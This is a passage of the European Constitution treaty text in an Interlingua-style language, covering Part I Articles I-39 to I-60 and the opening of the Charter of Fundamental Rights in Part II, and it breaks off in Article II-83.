I-39\nPublication et entrata in vigor\n1 Las leges et las leges-quadro adoptatas conformemente con la procedura legislativa ordinaria son signatas per le Presidente del Parlamento Europeo et per le Presidente del Consilio.\nIn los alteros casos, illos son signatos per le Presidente de la institution que los ha adoptato.\nConstitution\/ra 42\nLas leges et las leges-quadro europeas son publicatas in le Jornal Official de la Union Europea et entran in vigor a la data que illos fixaen aut, in absentia de una data, vinti dies post lor publication.\n2 Los regulamentos europeos et las decisiones europeas que non indican destinatarios son signatos per le Presidente de la institution que los ha adoptato.\nLos regulamentos europeos et las decisiones europeas que non indican destinatarios son publicatos in le Jornal Official de la Union Europeo et entran in vigor a la data que illos fixaen aut, in absentia de una data, vinti dies post lor publication.\n3. Las decisiones europeas distinctas de illas mentionatas in le paragrapho 2 son notificatas a lores destinatarios et haben effecto per ista notification.\nCAPITULO II\nDISPOSITIONES PARTICULARES\nARTICULO I-40\nDispositiones particulares relativas a la execution de la politica exterior et de securitate commun\n1. La Union Europea exerce una politica exterior et de securitate commun basata super le disveloppamento de la solidaritate politica mutual de los Statos membros, super la definition de questiones que presentaen un interesse general et super la obtention de un grado sempre crescente de convergentia de las actiones de los Statos membros.\n2. Le Consilio Europeo determina los interesses strategicos de la Union et fixa los objectivos de su politica exterior et de securitate commun. Le Consilio elabora ista politica in le quadro de las lineas strategicas stabilitas per le Consilio Europeo et in conformitate con lo que est disposito in la Parte III.\n3. Le Consilio Europeo et le Consilio adoptan las decisiones europeas necessarias.\nConstitution\/ra 43\n4. La Politica exterior et de securitate commun est executata per le Ministro de Affaceres Exteriores de la Union et per los Statos membros utilizando los medios nationales et los medios de la Union.\n5. Los Statos membros se concertan in le sino del Consilio Europeo et del Consilio re tota question de politica exterior et de securitate que presentaen un interesse general, a fin de stabilir un approche commun. Ante interprender qualcunque action super la scena international aut assumer qualcunque obligation que potesse affectar los interesses de la Union, cata Stato membro consulta los alteros Statos in le sino del Consilio Europeo aut del Consilio. Los Statos membros garantien, per la convergentia de lores actiones, que la Union pote defender sus interesses et sus valores super la scena international. Los Statos membros son solidarios inter se.\n6. In materia de politica exterior et de securitate commun, le Consilio Europeo et le Consilio adoptan decisiones europeas per unanimitate, salvo in los casos mentionatos in la Parte III. Illos deciden re la initiativa de un Stato membro, re la proposition del Ministro de Affaceres Exteriores de la Union, aut re la proposition de iste Ministro con le appoio de la Commission. Las leges et leges-quadro europeas non se utilizan in ista materia.\n7. Le Consilio Europeo pote adoptar per unanimitate una decision europea que stabilia que le Consilio decide per majoritate qualificata in casos distinctos de illos mentionatos in la Parte III.\n8. On consulta periodicamente le Parlamento Europeo re los aspectos principales et las optiones fundamentales de la politica exterior et de securitate commun. Le Parlamento Europeo remane informato de su evolution.\nConstitution\/ra 44\nARTICULO I-41\nDispositiones particulares relativas a la execution de la politica commun de securitate et defensa\n1. La politica commun de securitate et defensa forma parte integrante de la politica exterior et de securitate commun. Illa offere a la Union una capacitate operativa per medios civiles et militares. La Union pote recurrer a istos medios in missiones foras de la Union que habean como objectivo garantir le mantenimento de la pace, la prevention de conflictos et le reinfortiamento de la securitate international, in conformitate con los principios de la Charta de las Nationes Unitas. La execution de istas cargas se basa super las capacitates offeritas per los Statos membros.\n2. La politica commun de securitate et defensa include la definition progressiva de una politica commun de defensa de la Union. Ista conduce a una defensa commun, quando le Consilio Europeo lo ha decidito per unanimitate. In iste caso, le Consilio Europeo recommenda a los Statos membros que illos adoptaen una decision in iste senso in conformitate con lores respectivas regulas constitutionales.\nLa politica de la Union in le senso del presente articulo non affecta le character specifico de la politica de securitate et de defensa de certos Statos membros. Illa respecta las obligationes derivatas del Tractato del Atlantico Nordico pro certos Statos membros que consideran que lor defensa commun se realiza in le quadro de la Organization del Tractato del Atlantico Nordico, et illa est compatibile con la politica commun de securitate et de defensa adoptata in iste contexto.\n3. Los Statos membros ponen a la disposition de la Union, pro la execution de la politica commun de securitate et de defensa, capacitates civiles et militares pro contribuer a los objectivos definitos per le Consilio de Ministros. Los Statos membros que constituen inter se fortias multinationales poten anque poner las a la disposition de la politica commun de securitate et de defensa.\nConstitution\/ra 45\nLos Statos membros se obligan a meliorar progressivamente lores capacitates militares. On crea una Agentia in le campo del disveloppamento de las capacitates de defensa, de recerca, de acquisitiones et del armamento (Agentia Europea de Defensa) pro identificar las necessitates operativas, promover mesuras pro satisfacer las, contribuer a identificar et, in su caso, applicar qualcunque disposition opportuna pro reinfortiar la base industrial et technologica in le sector de la defensa, pro participar in la definition de una politica europea de capacitates et de armamento, et pro adjutar le Consilio in la evalutation de la melioration de las capacitates militares.\n4. Le Consilio adopta per unanimitate, per proposition del Ministro de Affaceres Exteriores de la Union aut per proposition de un Stato membro, las decisiones europeas relativas a la execution de la politica commun de securitate et de defensa, includitas decisiones relativas al initio de una mission mentionata in le presente articulo. Le Ministro de Affaceres Exteriores de la Union pote proponer recurso a los medios nationales et a los instrumentos de la Union, in su caso junctamente con la Commission.\n5. Le Consilio pote confider la realization de una mission, in le quadro de la Union, a un gruppo de Statos membros a fin de preservar los valores de la Union et favorar sus interesses. La realization de una tal mission est regita per le articulo III-310.\n6. Los Statos membros, que complien criterios plus elevatos de capacitates militares et que han subscribito inter se obligationes plus constringentes in vista de las missiones las plus exigentes, stabilien una cooperation structurata permanente in le quadro de la Union. Ista cooperation est regita per lo que est disposito in le articulo III-312. Ista cooperation non affecta las dispositiones in le articulo III-309.\n7. Si un Stato membro est objecto de una aggression armata in su territorio, los alteros Statos membros deben prestar lor adjuta et assistentia con totos los medios que sian in lor poter in conformitate con le articulo 51 de la Charta de las Nationes Unitas. Illo non affecta le character specifico de la politica de securitate et de defensa de certos Statos membros.\nConstitution\/ra 46\nLas obligationes et la cooperation in iste campo son conformes con las obligationes subscribitas in la Organization del Tractato del Atlantico Nordico que remanen, pro los Statos membros que forman parte de la Organization, le fundamento de lor defensa collectiva et le organismo de execution de ista defensa collectiva.\n8. Le Parlamento Europeo est consultato regularmente re los aspectos principales et optiones fundamentales de la politica commun de securitate et de defensa. Le Parlamento Europeo est informato re ista evolution.\nARTICULO I-42\nDispositiones particulares relativas a la realization del spatio de libertate, securitate et justitia\n1. La Union constitue un spatio de libertate, securitate et justitia:\na) per mediar la adoption de leges et leges-quadro europeas tendentes, si necessarias, a approximar las dispositiones legislativas et regulamentarias de los Statos membros in los campos mentionatos in la Parte III;\nb) per promover la confidentia mutual inter las autoritates competentes de los Statos membros, in particular super la base de recognoscimento mutual de las resolutiones judiciarias et extrajudiciarias;\nc) per mediar la cooperation operativa de las autoritates competentes de los Statos membros, includitos los servicios de policia, de doana et alteros servicios specializatos in la prevention et detection de infractiones penales.\nConstitution\/ra 47\n2. Los Parlamentos nationales poten, in le quadro del spatio de libertate, securitate et justitia, participar in los mechanismos de evalutation mentionatos in le articulo III-260. Los Parlamentos nationales son associatos al controlo politico de Europol et a la evalutation de las activitates de Eurojust in conformitate con los articulos III-276 et III-273.\n3. Los Statos membros haben le derecto de initiativa in le dominio de la cooperation policiaria et judiciaria in materia penal, conformemente con le articulo III-264.\nARTICULO I-43\nClausula de solidaritate\n1. La Union et sus Statos membros agen conjunctamente in un spirito de solidaritate, si un Stato membro est le objecto de un attacco terrorista aut la victima de una catastrophe natural aut de origine humana. La Union mobiliza totos los instrumentos a su disposition, includitos los medios militares positos a su disposition per los Statos membros, pro:\na)\n- prevenir la menacia terrorista in le territorio de los Statos membros;\n- proteger las institutiones democraticas et la population civil de un possibile attacco terrorista;\n- prestar assistentia a un Stato membro in su territorio, post petition de sus autoritates politicas, in le caso de un attacco terrorista;\nb)\n- prestar assistentia a un Stato membro in su territorio, post petition de sus autoritates politicas, in le caso de una catastrophe natural aut de origine humana.\n2. Las modalitates de application del presente articulo son mentionatas in le articulo III-329.\nConstitution\/ra 48\nCAPITULO III\nCOOPERATION REINFORTIATA\nARTICULO I-44\nCooperationes reinfortiatas\n1. Los Statos membros que volean instaurar inter se una cooperation reinfortiata in le quadro de las competentias non-exclusivas de la Union poten facer uso de las institutiones de la Union et exercer istas competentias per applicar las dispositiones pertinentes de la Constitution, intra los limites et secundo modalitates mentionatas in le presente articulo et in los articulos III-416 a III-423.\nLas cooperationes reinfortiatas visan a impulsar los objectivos de la Union, proteger sus interesses et reinfortiar su processo de integration. La cooperation reinfortiata intende favorar la realization de los objectivos de la Union, preservar sus interesses, et reinfortiar su processo de integration. Illas son apertas permanentemente a totos los Statos membros, in conformitate con le articulo III-418.\n2. La decision europea de autorizar una cooperation reinfortiata est adoptata per le Consilio como ultimo recurso, quando illo haia arrivato a la conclusion que los objectivos prosequitos per ista cooperation non poten esser obtenitos, in un periodo rationabile, per tota la Union, et con la condition que in illa cooperation participaen, al minus, un tertio de los Statos membros. Le Consilio decide per la procedura mentionata in le articulo III-419.\n3. Totos los membros del Consilio poten participar in sus deliberationes, ma in la votation participan solamente los membros del Consilio qui representan los Statos membros participantes in una action reinfortiata.\nLa unanimitate est constituita unicamente per los votos de los representantes de los Statos membros participantes.\nConstitution\/ra 49\nLa majoritate qualificata se defini como al minus 55% de los membros del Consilio qui representaen los Statos membros participantes que reunien como minimo 65% de la population de istos Statos.\nUna minoritate de blocada debe includer al minus le numero minimo de membros del Consilio qui representaen plus de 35% de la population de los Statos membros participantes, plus un membro; si isto non est le caso, la majoritate qualificata est considerata obtenita.\nNonobstante lo que est disposito in los paragraphos 3 et 4, quando le Consilio non prende decision per proposition de la Commission aut del Ministro de Affaceres Exteriores de la Union, la majoritate qualificata requirita se defini como al minus 72% de los membros del Consilio qui representaen los Statos membros participantes que reunien al minus 65% de la population de istos Statos membros.\n4. Los actos adoptatos in le quadro de una cooperation reinfortiata ligan solamente los Statos membros participantes. Istos actos non son consideratos como un acquesto que debe esser acceptato per los Statos candidatos a la adhesion a la Union.\nTITULO VI\nVITA DEMOCRATICA DE LA UNION\nARTICULO I-45\nPrincipio de equalitate democratica\nIn totas sus activitates la Union respecta le principio de la equalitate de sus citatanos qui gauden de una equal attention de sus institutiones, organos et organismos.\nConstitution\/ra 50\nARTICULO I-46\nPrincipio de la democratia representativa\n1. Le functionamento de la Union se basa super le principio de la democratia representativa.\n2. Los citatanos son directamente representatos, al nivello de la Union, in le Parlamento Europeo. Los Statos membros son representatos in le Consilio Europeo per lor chef de Stato aut de Governamento, et in le Consilio per lores governamentos, que son democraticamente responsabiles, sia ante lores parlamentos nationales, sia ante lores citatanos.\n3. Toto citatano habe le derecto de participar in la vita democratica de la Union. Las decisiones son prenditas in la forma la plus aperta et la plus proxima a los citatanos.\n4. Los partitos politicos al nivello europeo contribuen a la formation de la conscientia politica europea et a la expression de la voluntate de los citatanos de la Union.\nARTICULO I-47\nPrincipio de la democratia participativa\n1. Las institutiones de la Union dan a los citatanos et a las associationes representativas, per las vias appropriatas, la possibilitate de exprimer et de intercambiar publicamente lores opiniones in totos los dominios de action de la Union.\n2. Las institutiones mantenen un dialogo aperto, transparente et regular con las associationes representativas et la societate civil.\nConstitution\/ra 51\n3. In vista de garantir la coherentia et la transparentia de las actiones de la Union, la Commission mantene amplas consultationes con las partes interessatas.\n4. Un gruppo de al minus un million de citatanos de la Union, qui deben esser citatanos de un numero significativo de Statos membros, poten prender la initiativa de invitar la Commission, in le quadro de sus attributiones, a submitter una proposition appropriata re questiones de las quales istos citatanos consideraen que un acto juridico de la Union est necessario pro los fines de la application de la Constitution. La lege europea stabili las dispositiones relativas a las proceduras et conditiones requiritas pro la presentation de una tal initiativa citatana, includito le numero minimo de Statos membros de los quales deben provenir los citatanos qui la presentan.\nARTICULO I-48\nPartners sociales et dialogo social autonomo\nLa Union Europea recognosce et promove le rolo de los partners sociales a su nivello, ponderando la diversitate de los systemas nationales. La Union facilita le dialogo inter illos, intra los limites de lor autonomia. Le culmine social tripartito pro le crescimento et le empleo contribue al dialogo social.\nConstitution\/ra 52\nARTICULO I-49\nLe Mediator Europeo.\nUn Mediator Europeo, appunctato per le Parlamento Europeo, recipe las reclamationes relativas a casos de mala administration in las actiones de las institutiones, organos aut organismos de la Union sub las conditiones mentionatas in la Constitution. Le Mediator, qui examina istas reclamationes et face un reporto super illas, exerce sus functiones in total independentia.\nARTICULO I-50\nTransparentia de los labores de las institutiones, organos et organismos de la Union\n1. A fin de promover un bon governamento et de garantir la participation de la societate civil, las institutiones, organos et organismos de la Union operan con le major respecto possibile al principio de apertura.\n2. Las sessiones del Parlamento Europeo, assi como del Consilio, son publicas quando illas deliberaen et votaen re una proposition de acto legislativo.\n3. Cata citatano de la Union, et cata persona physica aut juridica residente aut habente su sede statutaria in un Stato membro, dispone de un derecto de accesso a los documentos de las institutiones, organos et organismos de la Union, sub las conditiones mentionatas in la Parte III, qualcunque potea esser lor supporto.\nLa lege europea fixa los principios generales et limites que regulan, per motivos de interesse publico aut privato, le exercitio del derecto de accesso a tales documentos.\nConstitution\/ra 53\n4. Cata institution, organo aut organismo stabili in su regulamento interior dispositiones specificas concernentes le accesso a sus documentos, in conformitate con la lege europea mentionata in le paragrapho 3.\nARTICULO I-51\nProtection de datos personales\n1. Tota persona habe derecto a la protection de los datos personales que le concernean.\n2. La lege aut lege-quadro europea stabili las regulas relativas a la protection de la persona physica concernente le tractamento de datos personales per las institutiones, organos et organismos de la Union, assi como per los Statos membros in le exercitio de las activitates comprehenditas in le dominio de application del Derecto de la Union, et relativas a la libere circulation de istos datos. Le respecto de istas regulas est submittito al controlo de autoritates independentes.\nARTICULO I-52\nStatuto de las ecclesias et de las organizationes non-confessionales\n1. La Union respecta et non prejudica le statuto recognoscito in los Statos membros, in virtute del Derecto national, pro las ecclesias et las associationes aut communitates religiosas.\n2. La Union respecta equalmente le statuto de las organizationes philosophicas et non-confessionales.\nConstitution\/ra 54\n3. Recognoscente lor identitate et lor contribution specifica, la Union mantene un dialogo aperte, transparente et regular con iste ecclesias et organizationes.\nTITULO VII\nFINANCIAS DE LA UNION\nARTICULO I-53\nPrincipios budgetarios et financiarios\n1. Totas las receptas et las dispensas de la Union deben esser le objecto de previsiones pro cata exercitio budgetario annual et esser inscribitas in le budget de la Union in conformitate con la Parte III.\n2. Le budget debe esser equilibrato quanto a receptas et dispensas.\n3. Las dispensas inscribitas in le budget son autorizatas pro le periodo del exercitio budgetario annual in conformitate con la lege europea mentionata in le articulo III-412.\n4. La execution de dispensas inscribitas in le budget require la adoption previa de un acto juridicamente obligatorio de la Union que dae un fundamento juridico a su action et a la execution de la correspondente dispensa in conformitate con la lege europea mentionata in le articulo III-412, salvo las exceptiones que ista lege stabili.\nConstitution\/ra 55\n5. Pro garantir la disciplina budgetaria, la Union non adopta actos susceptibiles de haber incidentias considerabiles in le budget sin garantir que la proposition aut la procedura potea esser financiata intra le limite de los ressources proprios de la Union et in le respecto del quadro financiario pluriannual mentionato in le articulo I-55.\n6. Le budget est executato in conformitate con le principio de bona gestion financiaria. Los Statos membros et la Union cooperan a fin que los creditos inscribitos in le budget se utilizaen conformemente con iste principio.\n7. La Union et los Statos membros, in conformitate con le articulo III-415, combatten le fraude et qualcunque altera activitate illegal que affectae los interesses financiarios de la Union.\nARTICULO I-54\nRessources proprios de la Union\n1. La Union se dota de los medios necessarios pro obtener sus objectivos et pro finalizar sus politicas.\n2. Le budget de la Union est financiato integramente per ressources proprios, sin prejudicio de las alteras receptas.\nConstitution\/ra 56\n3. Una lege europea del Consilio fixa las dispositiones applicabiles al systema de ressources proprios de la Union. In iste contexto il est possibile stabilir novas categorias de ressources aut supprimer una categoria existente. Le Consilio decide per unanimitate, post consultation del Parlamento Europeo. Ista lege entra in vigor solamente post su approbation per los Statos membros in conformitate con lores respectivas regulas constitutionales.\n4. Una lege europea del Consilio fixa las dispositiones de application del systema de ressources proprios de la Union a mesura que illo est mentionato in la lege europea adoptata conformemente con le paragrapho 3. Le Consilio decide post approbation del Parlamento Europeo.\nARTICULO I-55\nQuadro financiario pluriannual\n1. Le quadro financiario pluriannual habe per objecto garantir la evolution ordinata de las dispensas de la Union intra le limite de sus ressources proprios. Illo fixa las amontas de los limites maximos annuales de los creditos pro ingagiamentos per categorias de dispensas, conformemente con le articulo III-402.\n2. Una lege europea del Consilio fixa le quadro financiario pluriannual. Le Consilio decide per unanimitate, post approbation del Parlamento Europeo, que decide per majoritate de los membros que lo componen.\n3. Le budget annual de la Union respecta le quadro financiario pluriannual.\n4. Le Consilio Europeo pote, per unanimitate, adoptar una decision europea que autorizae le Consilio a decider per majoritate qualificata quando illo adoptae la lege europea del Consilio mentionato in le paragrapho 2.\nConstitution\/ra 57\nARTICULO I-56\nBudget de la Union\nLa lege europea stabili le Budget annual de la Union in conformitate con le articulo III-404.\nTITULO VIII\nLA UNION ET SU VICINITATE PROXIMA\nARTICULO I-57\nLa Union et su vicinitate proxima\n1. La Union disveloppa con los Statos vicinos relationes preferentiales, con le objectivo de stabilir un spatio de prosperitate et de bona vicinitate basato super los valores de la Union et characterizato per relationes strictas et pacificas basatas super la cooperation.\n2. Pro los fines del paragrapho 1, la Union pote concluder accordos specificos con los paises concernitos. Istos accordos poten includer derectos et obligationes reciprocas et la possibilitate de realizar activitates communes. Lor application est submittita a una concertation periodica.\nConstitution\/ra 58\nTITULO IX\nMEMBRATO DE LA UNION\nARTICULO I-58\nCriterios de membrato et procedura de adhesion a la Union\n1. La Union est aperta pro totos los Statos europeos que respectaen los valores mentionatos in le articulo I-2 et se ingagiaen a promover los in commun.\n2. Toto Stato europeo que desirae devenir membro de la Union dirige su requesta al Consilio. Le Parlamento Europeo et los Parlamentos nationales de los Statos membros son informatos de ista requesta. Le Consilio decide per unanimitate, post haber consultato la Commission et post approbation del Parlamento Europeo que decide per majoritate de los membros que lo componen. Las conditiones et la procedura de la admission son stabilitas per un accordo inter los Statos membros et le Stato candidato. Iste accordo est submittito a ratification per totos los Statos contractantes, secundo lores proprias regulas constitutionales respectivas.\nARTICULO I-59\nSuspension de certos derectos del membrato de la Union\n1. Le Consilio, per initiativa motivata per un tertio de los Statos membros, per initiativa motivata per le Parlamento Europeo aut per proposition de la Commission, pote adoptar una decision europea constatante la existentia de un risco claro de violation grave per un Stato membro de los valores mentionatos in le articulo I-2. Le Consilio decide per majoritate de los quatro quintos de sus membros, post approbation del Parlamento Europeo.\nConstitution\/ra 59\nAnte proceder a ista constatation, le Consilio audi le Stato membro in question et pote, secundo la mesma procedura, diriger recommendationes a illo.\nLe Consilio verifica regularmente si los motivos que han conducito a una tal constatation restan validos.\n2. Le Consilio Europeo, per initiativa de un tertio de los Statos membros aut per una proposition de la Commission, pote adoptar una decision europea constatante la existentia de una violation grave et persistente de los valores mentionatos in le articulo I-2 per un Stato membro, post haber invitato iste Stato membro a presentar sus observationes in la materia. Le Consilio Europeo decide per unanimitate, post approbation del Parlamento Europeo.\n3. Quando haia essito facta la constatation mentionata in le paragrapho 2, le Consilio pote, per majoritate qualificata, adoptar una decision europea que suspendea certos derectos derivatos de la application de la Constitution al Stato membro in question, includito le derecto de voto del membro in le Consilio qui representae iste Stato. Le Consilio tene conto de las possibiles consequentias de una tal suspension pro los derectos et obligationes de las personas physicas et juridicas.\nIn qualcunque caso, iste Stato resta ligato per las obligationes que incumben a illo in la Constitution.\n4. Le Consilio pote adoptar posteriormente, per majoritate qualificata, una decision europea que modificae aut derogae las mesuras adoptatas in conformitate con le paragrapho 3 como responsa a cambios in la situation, que lo ha motivato a imponer istas mesuras.\n5. Pro los fines del presente articulo, le membro del Consilio Europeo aut del Consilio qui representae le Stato membro in question non participa in la votation et le Stato membro in question non est tenito in conto in le calculo de la tertia parte aut de los quatro quintos de los Statos membros mentionatos in los paragraphos 1 et 2. La abstention de membros presentes aut representatos non impedi la adoption de las decisiones europeas mentionatas in le paragrapho 2.\nConstitution\/ra 60\nPro la adoption de decisiones europeas mentionatas in los paragraphos 3 et 4, la majoritate qualificata se defini como al minus 72% de los membros del Consilio qui representan los Statos membros participantes que reunien al minus 65% de la population de istos Statos.\nQuando, post una decision de suspension del derecto de voto adoptata in conformitate con le paragrapho 3, le Consilio prende decision, per majoritate qualificata, super la base de una de las dispositiones de la Constitution, ista majoritate qualificata se defini de la mesma maniera como in le paragrapho 2 aut, si le Consilio age per proposition de la Commission aut del Ministro de Affaceres Exteriores de la Union, como al minus 55% de los membros del Consilio qui representan los Statos membros participantes que reunien al minus 65% de la population de istos Statos. In iste ultimo caso, una minoritate de blocada debe includer al minus le numero minimo de membros del Consilio qui representan plus de 35% de la population de los Statos membros participantes, plus un membro; sin ista minoritate de blocada, la majoritate qualificata se considera obtenita.\n6. Pro los fines del presente articulo, le Parlamento Europeo decide per majoritate de los duos tertios de los votos exprimitos, lo que representa la majoritate de los membros qui lo componen.\nARTICULO I-60\nDisdicimento voluntario ex la Union\n1. Toto Stato membro pote decider, in conformitate con sus regulas constitutionales, retirar se ex la Union.\n2. Le Stato membro que decidea retirar se notifica su intention al Consilio Europeo. A la luce de las orientationes del Consilio Europeo, la Union negotia et conclude con iste Stato membro un accordo que regula la forma de su disdicimento, ponderando le quadro de sus relationes futuras con la Union. Iste accordo est negotiato in conformitate con le articulo III-325(3). Le Consilio lo conclude in le nomine de la Union per majoritate qualificata, post approbation del Parlamento Europeo.\nConstitution\/ra 61\n3. La Constitution cessa de esser applicabile al Stato membro in question ab la data de entrata in vigor del accordo de disdicimento aut, si una tal data non est fixata, duos annos post la notification mentionata in le paragrapho 2, salvo si le Consilio Europeo, in accordo con le Stato membro in question, decidea per unanimitate prorogar iste termino.\n4. Pro los fines de los paragraphos 2 et 3, le membro del Consilio Europeo et del Consilio qui representa le Stato membro que se disdice, non participa nec in las deliberationes nec in las decisiones europeas del Consilio Europeo aut del Consilio que lo concerne.\nLa majoritate qualificata se defini como al minus 72% de los membros del Consilio qui representan Statos membros participantes que reunien al minus 65% de la population de istos Statos.\n5. Si le Stato membro que se ha disdicito ex la Union sollicita de novo la adhesion, su requesta est submittita a la procedura mentionata in le articulo I-58.\nConstitution\/ra 62\nPARTE II\nCHARTA DE LOS DERECTOS FUNDAMENTALES DE LA UNION\nPREAMBULO\nLos populos de Europa, creando inter se una union sempre plus stricta, han decidito compartir un futuro pacifico basato super valores communes. Consciente de su patrimonio spiritual et moral, la Union est fundata super los valores indivisibiles et universales de la dignitate humana, de libertate, de equalitate et de solidaritate.\nLa Union se basa super los principios de la democratia et del Stato de Derecto. Per instituer la citatanitate de la Union et per crear un spatio de libertate, de securitate et de justitia, la Union situa la persona in le centro de sus activitates.\nLa Union contribue a la preservation et al disveloppamento de istos valores communes intra le respecto de la diversitate de las culturas et de las traditiones de los populos de Europa, et equalmente de la identitate national de los Statos membros et de la organization de lores poteres publicos a los nivellos nationales, regionales et locales; la Union se effortia de promover un disveloppamento equilibrato et durabile et garanti la libere circulation de personas, de servicios, de mercantias et de capitales, assi como la libertate de stabilimento.\nPro iste fin il est necessario, per render los plus visibiles in una Charta, reinfortiar la protection de los derectos fundamentales a la luce de la evolution de la societate, del progresso social et de los disveloppamentos scientificos et technologicos.\nConstitution\/ra 63\nLa presente Charta reaffirma, respectando las competentias et missiones de la Union, assi como le principio de subsidiaritate, los derectos recognoscitos specialmente per las traditiones constitutionales et las obligationes internationales communes de los Statos membros, le Pacto Europeo pro la Protection de los Derectos Humanos et de las Libertates Fundamentales, las Chartas Sociales adoptatas per la Union et per le Consilio Europeo, assi como per la jurisprudentia del Tribunal de Justitia de la Union Europea et del Tribunal Europeo de los Derectos Humanos. In iste contexto, los organos jurisdictionales de la Union et de los Statos membros interpretan la Charta prendendo debitamente in consideration las explicationes stabilitas sub la responsabilitate del Presidium de la Convention Europea.\nLa fruition de istos derectos comporta responsabilitates et debitos tanto con respecto a los alteros como con respecto a la communitate humana et futuras generationes. In consequentia, la Union recognosce los derectos, las libertates et los principios mentionatos in le sequente.\nTITULO I\nDIGNITATE\nARTICULO II-61\nDignitate humana\nLa dignitate humana est inviolabile. Illa debe esser respectata et protegita.\nConstitution\/ra 64\nARTICULO II-62\nDerecto a la vita\n1. Tota persona habe derecto a la vita.\n2. Necuno pote esser condemnato a sententia de morte ni executato.\nARTICULO II-63\nDerecto a la integritate de la persona\n1. Tota persona habe derecto a la integritate physica et mental.\n2. In le campo de la medicina et de la biologia on respecta in particular:\na) le consentimento libere et informato de la persona concernita, secundo las modalitates stabilitas in la lege;\nb) la prohibition de las practicas eugenicas, in particular las practicas que haben pro scopo la selection de las personas;\nc) la prohibition de facer del corpore humano et sus partes, como tales, una fonte de lucro;\nd) la prohibition de la clonation reproductiva de esseres humanos.\nConstitution\/ra 65\nARTICULO II-64\nProhibition de la tortura et de las penas inhumanas aut degradantes aut de los tractamentos inhumanos aut degradantes\nNecuno pote esser submittito a tortura ni a penas aut tractamentos inhumanos aut degradantes.\nARTICULO II-65\nProhibition de la sclavitude et del labor fortiato\n1. Necuno pote esser submittito a sclavitude aut a servitude.\n2. Necuno pote esser constringito a facer un labor fortiato aut obligatorio.\n3. Le commercio de esseres humanos est prohibito.\nTITULO II\nLIBERTATES\nARTICULO II-66\nDerecto a la libertate et a la securitate\nTota persona habe le derecto a la libertate et a la securitate.\nConstitution\/ra 66\nARTICULO II-67\nRespecto de la vita privata et familial\nTota persona habe le derecto al respecto de su vita privata et familial, de su domicilio et de sus communicationes.\nARTICULO II-68\nProtection de datos de character personal\n1. Tota persona habe le derecto a la protection de los datos de character personal que le concernen.\n2. Istos datos deben esser tractatos loyalmente, pro fines concretos et super la base del consentimento de la persona concernita aut in virtute de un altero fundamento legitimo previsto per la lege. Tota persona habe le derecto a acceder a los datos recolligitos que le concernean et ille habe derecto a su rectification.\n3. Le respecto de istas regulas est subjecto al controlo de una autoritate independente.\nARTICULO II-69\nDerecto de contraher matrimonio et derecto a fundar una familia\nLe derecto de maritar se et le derecto a fundar una familia est garantito secundo las leges nationales que regulan su exercitio.\nConstitution\/ra 67\nARTICULO II-70\nLibertate de pensamento, de conscientia et de religion\n1. Tota persona habe le derecto a la libertate de pensamento, de conscientia et de religion. Iste derecto implica la libertate de cambiar de religion aut de convictiones, assi como la libertate de manifestar su religion aut sus convictiones individuales aut collectivamente, in publico aut in privato, per le culto, le inseniamento, las practicas et la observantia de los ritos.\n2. Le derecto a la objection de conscientia est recognoscito secundo las leges nationales que regulan su exercitio.\nARTICULO II-71\nLibertate de expression et de information\n1. Tota persona habe le derecto a la libertate de expression. Iste derecto include la libertate de opinion et la libertate de reciper aut de communicar informationes aut ideas sin que il potea haber ingerentia de autoritates publicas et sin consideration de frontieras.\n2. La libertate de medios de communication et lor pluralismo est respectata.\nConstitution\/ra 68\nARTICULO II-72\nLibertate de reunion et de association\n1. Tota persona habe le derecto a la libertate de reunion pacifica et a la libertate de association in totos los nivellos, specialmente in los dominios politicos, syndicales et civicos, lo que implica le derecto de tota persona de fundar con alteras personas syndicatos et de affiliar se a illos pro la defensa de sus interesses.\n2. Los partitos politicos al nivello de la Union contribuen a la expression de la voluntate politica de los citatanos de la Union.\nARTICULO II-73\nLibertate de las artes et de las scientias\nLas artes et la recerca scientifica son liberes. On respecta la libertate academica.\nARTICULO II-74\nDerecto a la education\n1. Tota persona habe le derecto a la education et al accesso a formation professional et continua.\n2. Iste derecto include la facultate de reciper gratuitamente le inseniamento obligatorio.\nConstitution\/ra 69\n3. Est respectata, secundo las leges nationales que regulan lor exercitio, la libertate de creation de institutiones educationales intra le respecto de los principios democraticos, assi como le derecto de los parentes de garantir la education et le inseniamento de lores infantes in conformitate con lores convictiones religiosas, philosophicas et pedagogicas.\nARTICULO II-75\nLibertate professional et derecto de laborar\n1. Tota persona habe le derecto de laborar et de exercer una profession liberemente eligita aut acceptata.\n2. Toto citatano de la Union habe la libertate de cercar un empleo, de laborar, de stabilir se aut de prestar servicios in qualcunque Stato membro.\n3. Los citatanos de tertios paises, qui son autorizatos a laborar in le territorio de los Statos membros, haben le derecto de conditiones de labor equivalente a illas de los citatanos de la Union.\nARTICULO II-76\nLibertate de interprisa\nOn recognosce la libertate de interprisa in conformitate con le Derecto de la Union et con las legislationes et practicas nationales.\nConstitution\/ra 70\nARTICULO II-77\nDerecto de proprietate\n1. Tota persona habe le derecto de fruer de la proprietate de sus benes acquiritos legalmente, de usar los, de disponer de illos et de legar los. Necuno pote esser privato de su proprietate si non per causa de interesse publico, in los casos et conditiones previstas per una lege et, intra un tempore rationabile, con una justa indemnization a causa de su perdita. Le uso de los benes pote esser regulato per la lege in la mesura necessaria pro le interesse general.\n2. Est protegita la proprietate intellectual.\nARTICULO II-78\nDerecto de asylo\nEst garantito le derecto de asylo intra le respecto de las regulas de la Convention de Genève del 28 de julio 1951 et del Protocollo del 31 de januario 1967 relativas al Statuto de los Refugiatos et in conformitate con la Constitution.\nARTICULO II-79\nProtection in caso de transferimento, de expulsion et de extradition\n1. Son prohibitas las expulsiones collectivas.\nConstitution\/ra 71\n2. Necuno pote esser transferito, expulsato aut extradito a un Stato in le qual la persona curre un risco serioso de esser submittito a la pena de morte, a la tortura aut a alteras penas aut tractamentos inhumanos aut degradantes.\nTITULO III\nEQUALITATE\nARTICULO II-80\nEqualitate ante la lege\nTotas las personas son equales ante la lege.\nARTICULO II-81\nNon-discrimination\n1. Est prohibita tota discrimination fundata in particular super le sexo, la racia, le color, los origines ethnicos aut sociales, las characteristicas geneticas, la lingua, la religion aut las convictiones, las opiniones politicas aut de qualcunque altero typo, la appertinentia a una minoritate national, la fortuna, la nascentia, un handicap, la etate aut la orientation sexual.\nConstitution\/ra 72\n2. In le dominio de application de la Constitution et sin prejudicio de sus dispositiones particulares, tota discrimination exercita pro rationes de la nationalitate est prohibita.\nARTICULO II-82\nDiversitate cultural, religiosa et linguistica\nLa Union respecta la diversitate cultural, religiosa et linguistica.\nARTICULO II-83\nEqualitate inter feminas et viros.\nLa equalitate inter feminas et viros debe esser garantita in totos los dominios, includitos super le terreno del empleo, del 